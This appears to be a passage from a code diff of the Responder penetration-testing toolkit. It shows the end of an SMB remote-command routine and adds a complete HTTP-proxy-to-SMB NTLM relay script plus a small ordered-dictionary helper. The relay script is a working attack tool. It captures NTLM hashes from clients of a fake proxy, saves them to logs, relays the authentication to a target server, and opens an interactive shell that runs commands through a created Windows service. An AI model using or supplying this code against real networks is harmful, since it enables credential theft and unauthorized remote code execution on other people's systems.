||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLOpenService.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
|
print "[+] Failed to create the service\n"
|
||||||
|
return False
|
||||||
|
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||||
|
w.calculate()
|
||||||
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLStartService.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
|
print "[+] Failed to open the service.\n"
|
||||||
|
return False
|
||||||
|
ContextHandler = data[88:108]
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||||
|
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
|
||||||
|
##Tree connect c$
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
#print "[+] Command executed, grabbing output now."
|
||||||
|
Logs.info('Command executed:')
|
||||||
|
Logs.info(clientIP+","+Username+','+Command)
|
||||||
|
#time.sleep(1)#Maybe the command executed took some time..
|
||||||
|
#print "[+] Removing service.\n[+] Cleaning up files.\n"
|
||||||
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
##OpenAndX.
|
||||||
|
if data[8:10] == "\x75\x00":
|
||||||
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||||
|
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
##OpenAndX.
|
||||||
|
if data[8:10] == "\x2d\x34":
|
||||||
|
time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
|
||||||
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||||
|
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
##OpenAndX.
|
||||||
|
if data[8:10] == "\x2d\x34":
|
||||||
|
time.sleep(1)#not found, command failed.
|
||||||
|
print "[+] The command failed."
|
||||||
|
return data
|
||||||
|
##ReadRequest.
|
||||||
|
## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
|
||||||
|
if data[8:10] == "\x2d\x00":
|
||||||
|
ReturnedFID = data[41:43]
|
||||||
|
head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
|
||||||
|
t = ReadRequestAndX(FID=ReturnedFID)
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
s, data = SMBReadRecv(s)
|
||||||
|
#print "[+] Output:\n"
|
||||||
|
print ExtractCommandOutput(data)
|
||||||
|
|
||||||
|
##Close Request
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||||
|
t = CloseRequest(FID = ReturnedFID)
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
##DeleteFileRequest.
|
||||||
|
if data[8:10] == "\x04\x00":
|
||||||
|
head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
|
||||||
|
t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
#print "[+] Deleting file now."
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
if data[8:10] == "\x06\x00":
|
||||||
|
#print "[+] File deleted, making sure it's not there anymore.."
|
||||||
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
|
||||||
|
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
return data
|
||||||
|
|
||||||
361
tools/RelayHTTPSMB/HTTPToSMBRelay.py
Executable file
361
tools/RelayHTTPSMB/HTTPToSMBRelay.py
Executable file
|
|
@ -0,0 +1,361 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sys, re, os, logging, warnings, thread, optparse, time
|
||||||
|
from HTTPRelayPacket import *
|
||||||
|
from Finger import RunFinger
|
||||||
|
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))
|
||||||
|
from socket import *
|
||||||
|
|
||||||
|
__version__ = "0.2"
|
||||||
|
|
||||||
|
def UserCallBack(op, value, dmy, parser):
|
||||||
|
args=[]
|
||||||
|
for arg in parser.rargs:
|
||||||
|
if arg[0] != "-":
|
||||||
|
args.append(arg)
|
||||||
|
if getattr(parser.values, op.dest):
|
||||||
|
args.extend(getattr(parser.values, op.dest))
|
||||||
|
setattr(parser.values, op.dest, args)
|
||||||
|
|
||||||
|
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
|
||||||
|
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||||
|
|
||||||
|
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||||
|
|
||||||
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
|
if options.TARGET is None:
|
||||||
|
print "\n-t Mandatory option is missing, please provide a target.\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
if options.UserToRelay is None:
|
||||||
|
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
UserToRelay = options.UserToRelay
|
||||||
|
Host = options.TARGET, 445
|
||||||
|
Cmd = ""
|
||||||
|
|
||||||
|
def ShowWelcome():
|
||||||
|
print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.'
|
||||||
|
print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com'
|
||||||
|
print 'Usernames to relay (-u) are case sensitive.'
|
||||||
|
print 'To kill this script hit CRTL-C or <Enter>.\033[1;31m\n'
|
||||||
|
print 'Use this script in combination with Responder.py for best results.'
|
||||||
|
print 'Do not to use Responder.py with -P set. This tool does the same'
|
||||||
|
print 'than -P but with cross-protocol NTLM relay. Always target a box '
|
||||||
|
print 'joined to the target domain,not the PDC as SMB signing is enabled '
|
||||||
|
print 'by default. For optimal pwnage and stealthiness, launch Responder '
|
||||||
|
print 'with these 2 options only: -rv \033[0m'
|
||||||
|
print '\n\033[1;34mRelaying credentials only for these users:\033[32m'
|
||||||
|
print UserToRelay
|
||||||
|
print '\033[0m\n'
|
||||||
|
|
||||||
|
ShowWelcome()
|
||||||
|
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
|
||||||
|
|
||||||
|
Logs = logging
|
||||||
|
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||||
|
|
||||||
|
try:
|
||||||
|
RunFinger(Host[0])
|
||||||
|
except:
|
||||||
|
print "The host %s seems to be down or port 445 down."%(Host[0])
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
# Function used to write captured hashs to a file.
|
||||||
|
def WriteData(outfile, data, user):
|
||||||
|
if not os.path.isfile(outfile):
|
||||||
|
with open(outfile,"w") as outf:
|
||||||
|
outf.write(data + '\n')
|
||||||
|
return
|
||||||
|
with open(outfile,"r") as filestr:
|
||||||
|
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||||
|
return False
|
||||||
|
elif re.search(re.escape("$"), user):
|
||||||
|
return False
|
||||||
|
with open(outfile,"a") as outf2:
|
||||||
|
outf2.write(data + '\n')
|
||||||
|
|
||||||
|
#Function used to verify if a previous auth attempt was made.
|
||||||
|
def ReadData(Outfile, Client, User, Domain, Target, cmd):
|
||||||
|
try:
|
||||||
|
with open(Logs_Path+"logs/"+Outfile,"r") as filestr:
|
||||||
|
Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure"
|
||||||
|
if re.search(Login.encode('hex'), filestr.read().encode('hex')):
|
||||||
|
print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)
|
||||||
|
return True
|
||||||
|
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
|
||||||
|
def ParseHTTPHash(data, key, client):
|
||||||
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
|
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||||
|
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||||
|
|
||||||
|
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||||
|
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||||
|
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
|
|
||||||
|
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||||
|
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||||
|
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
|
if NthashLen == 24:
|
||||||
|
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||||
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, key.encode("hex"))
|
||||||
|
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
||||||
|
print "[+] Received NTLMv1 hash from: %s"%(client)
|
||||||
|
if User in UserToRelay:
|
||||||
|
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
|
||||||
|
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
|
||||||
|
return None, None
|
||||||
|
else:
|
||||||
|
return User, HostName
|
||||||
|
else:
|
||||||
|
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
if NthashLen > 24:
|
||||||
|
NthashLen = 64
|
||||||
|
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||||
|
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||||
|
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||||
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, key.encode("hex"), NTHash[:32], NTHash[32:])
|
||||||
|
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
||||||
|
print "[+] Received NTLMv2 hash from: %s"%(client)
|
||||||
|
if User in UserToRelay:
|
||||||
|
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
|
||||||
|
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
|
||||||
|
return None, None
|
||||||
|
else:
|
||||||
|
return User, Domain
|
||||||
|
else:
|
||||||
|
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
return struct.pack(">i", len(''.join(payload)))
|
||||||
|
|
||||||
|
def ExtractChallenge(data):
|
||||||
|
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
||||||
|
if SecBlobLen < 255:
|
||||||
|
Challenge = data[102:110]
|
||||||
|
if SecBlobLen > 255:
|
||||||
|
Challenge = data[106:114]
|
||||||
|
print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex")
|
||||||
|
return Challenge
|
||||||
|
|
||||||
|
def ExtractRawNTLMPacket(data):
|
||||||
|
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
||||||
|
SSP = re.search("NTLMSSP", data[47:]).start()
|
||||||
|
RawNTLM = data[47+SSP:47+SecBlobLen]
|
||||||
|
return RawNTLM
|
||||||
|
|
||||||
|
def GetSessionResponseFlags(data):
|
||||||
|
if data[41:43] == "\x01\x00":
|
||||||
|
print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.."
|
||||||
|
|
||||||
|
def get_command():
|
||||||
|
global Cmd
|
||||||
|
Cmd = ""
|
||||||
|
while len(Cmd) is 0:
|
||||||
|
Cmd = raw_input("C:\\Windows\\system32\\:#")
|
||||||
|
|
||||||
|
def SMBKeepAlive(s, data, NextEcho = 20):
|
||||||
|
while True:
|
||||||
|
head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBEcho()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
time.sleep(NextEcho)
|
||||||
|
|
||||||
|
def HTTPProxyRelay():
|
||||||
|
so = socket(AF_INET,SOCK_STREAM)
|
||||||
|
so.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||||
|
try:
|
||||||
|
so.bind(('0.0.0.0', 3128))
|
||||||
|
so.listen(10)
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.connect(Host)
|
||||||
|
s.settimeout(30)
|
||||||
|
except:
|
||||||
|
"Cannot bind to port 3128, something else must be using it."
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
conn, addr = so.accept()
|
||||||
|
data = conn.recv(4096)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
|
if NTLM_Auth:
|
||||||
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
|
if Packet_NTLM == "\x01":
|
||||||
|
## SMB Block. Relay PROXY NTLM NEGO to target srv.
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
|
||||||
|
n = SMBNegoCairo(Data = SMBNegoCairoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
smbdata = s.recv(2048)
|
||||||
|
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
|
||||||
|
if smbdata[8:10] == "\x72\x00":
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
|
||||||
|
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
smbdata = s.recv(2048)
|
||||||
|
|
||||||
|
## Send HTTP Proxy
|
||||||
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||||
|
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
||||||
|
key = ExtractChallenge(data)#Grab challenge key
|
||||||
|
conn.send(str(Buffer_Ans))
|
||||||
|
data = conn.recv(8092)
|
||||||
|
|
||||||
|
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
|
Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
|
||||||
|
|
||||||
|
if Packet_NTLM == "\x03":
|
||||||
|
NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
|
||||||
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, addr[0])
|
||||||
|
|
||||||
|
if Username is not None:
|
||||||
|
##Got the ntlm message 3, send it over to SMB.
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
|
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
print "[+] SMB Session Auth sent."
|
||||||
|
s.send(buffer1)
|
||||||
|
smbdata = s.recv(2048)
|
||||||
|
return smbdata, s, addr[0], Username, Domain
|
||||||
|
else:
|
||||||
|
return None, None, None, None, None
|
||||||
|
else:
|
||||||
|
Response = WPAD_Auth_407_Ans()
|
||||||
|
conn.send(str(Response))
|
||||||
|
data = conn.recv(4096)
|
||||||
|
|
||||||
|
except:
|
||||||
|
return None, None, None, None, None
|
||||||
|
|
||||||
|
|
||||||
|
def RunPsExec(Host):
|
||||||
|
|
||||||
|
data, s, clientIP, Username, Domain = HTTPProxyRelay()
|
||||||
|
if data == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if data[8:10] == "\x73\x6d":
|
||||||
|
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target.\n[+] Hashes were saved anyways in Responder/logs/ folder."
|
||||||
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||||
|
|
||||||
|
if data[8:10] == "\x73\x8d":
|
||||||
|
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
|
||||||
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||||
|
|
||||||
|
## Tree Connect
|
||||||
|
if data[8:10] == "\x73\x00":
|
||||||
|
GetSessionResponseFlags(data)#Verify if the target returned a guest session.
|
||||||
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
## Fail Handling.
|
||||||
|
if data[8:10] == "\x75\x22":
|
||||||
|
print "[+] Tree Connect AndX denied. SMB Signing is likely mandatory on the target, or low privilege user.\n[+] Hashes were saved anyways in Responder/logs/ folder."
|
||||||
|
return False
|
||||||
|
|
||||||
|
## NtCreateAndx
|
||||||
|
if data[8:10] == "\x75\x00":
|
||||||
|
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
||||||
|
|
||||||
|
while True:
|
||||||
|
if data[8:10] == "\x75\x00":
|
||||||
|
thread.start_new_thread(SMBKeepAlive, (s,data, 15)) #keep it alive every 15 secs.
|
||||||
|
thread.start_new_thread(get_command, ())
|
||||||
|
while Cmd == "":
|
||||||
|
pass
|
||||||
|
|
||||||
|
if Cmd == "exit":
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
data = RunCmd(data, s, clientIP, Username, Domain, Cmd, Logs, Host)
|
||||||
|
|
||||||
|
if data is None:
|
||||||
|
print "\033[1;31m\nSomething went wrong, the server dropped the connection. Make sure to clean the server (\\Windows\\Temp\\)\033[0m\n"
|
||||||
|
|
||||||
|
if data[8:10] == "\x2d\x34":#Confirmed with OpenAndX that no file remains.
|
||||||
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
|
||||||
|
|
||||||
|
while len(Cmd2) is 0:
|
||||||
|
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
|
||||||
|
|
||||||
|
if Cmd2 == "exit":
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
data = RunCmd(data, s, clientIP, Username, Domain, Cmd2, Logs, Host)
|
||||||
|
|
||||||
|
if data[8:10] == "\x2d\x00":
|
||||||
|
print "[*] File still exist (Windows\\Temp\\Results.txt), server's not playing nicely."
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
try:
|
||||||
|
num_thrd = 1
|
||||||
|
while num_thrd > 0:
|
||||||
|
RunPsExec(Host)
|
||||||
|
time.sleep(1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
exit()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except:
|
||||||
|
raise
|
||||||
117
tools/RelayHTTPSMB/odict.py
Normal file
117
tools/RelayHTTPSMB/odict.py
Normal file
|
|
@ -0,0 +1,117 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
from UserDict import DictMixin
|
||||||
|
|
||||||
|
class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
|
def __init__(self, *args, **kwds):
|
||||||
|
if len(args) > 1:
|
||||||
|
raise TypeError('expected at most 1 arguments, got %d' % len(args))
|
||||||
|
try:
|
||||||
|
self.__end
|
||||||
|
except AttributeError:
|
||||||
|
self.clear()
|
||||||
|
self.update(*args, **kwds)
|
||||||
|
|
||||||
|
def clear(self):
|
||||||
|
self.__end = end = []
|
||||||
|
end += [None, end, end]
|
||||||
|
self.__map = {}
|
||||||
|
dict.clear(self)
|
||||||
|
|
||||||
|
def __setitem__(self, key, value):
|
||||||
|
if key not in self:
|
||||||
|
end = self.__end
|
||||||
|
curr = end[1]
|
||||||
|
curr[2] = end[1] = self.__map[key] = [key, curr, end]
|
||||||
|
dict.__setitem__(self, key, value)
|
||||||
|
|
||||||
|
def __delitem__(self, key):
|
||||||
|
dict.__delitem__(self, key)
|
||||||
|
key, prev, next = self.__map.pop(key)
|
||||||
|
prev[2] = next
|
||||||
|
next[1] = prev
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
end = self.__end
|
||||||
|
curr = end[2]
|
||||||
|
while curr is not end:
|
||||||
|
yield curr[0]
|
||||||
|
curr = curr[2]
|
||||||
|
|
||||||
|
def __reversed__(self):
|
||||||
|
end = self.__end
|
||||||
|
curr = end[1]
|
||||||
|
while curr is not end:
|
||||||
|
yield curr[0]
|
||||||
|
curr = curr[1]
|
||||||
|
|
||||||
|
def popitem(self, last=True):
|
||||||
|
if not self:
|
||||||
|
raise KeyError('dictionary is empty')
|
||||||
|
if last:
|
||||||
|
key = reversed(self).next()
|
||||||
|
else:
|
||||||
|
key = iter(self).next()
|
||||||
|
value = self.pop(key)
|
||||||
|
return key, value
|
||||||
|
|
||||||
|
def __reduce__(self):
|
||||||
|
items = [[k, self[k]] for k in self]
|
||||||
|
tmp = self.__map, self.__end
|
||||||
|
del self.__map, self.__end
|
||||||
|
inst_dict = vars(self).copy()
|
||||||
|
self.__map, self.__end = tmp
|
||||||
|
if inst_dict:
|
||||||
|
return self.__class__, (items,), inst_dict
|
||||||
|
return self.__class__, (items,)
|
||||||
|
|
||||||
|
def keys(self):
|
||||||
|
return list(self)
|
||||||
|
|
||||||
|
setdefault = DictMixin.setdefault
|
||||||
|
update = DictMixin.update
|
||||||
|
pop = DictMixin.pop
|
||||||
|
values = DictMixin.values
|
||||||
|
items = DictMixin.items
|
||||||
|
iterkeys = DictMixin.iterkeys
|
||||||
|
itervalues = DictMixin.itervalues
|
||||||
|
iteritems = DictMixin.iteritems
|
||||||
|
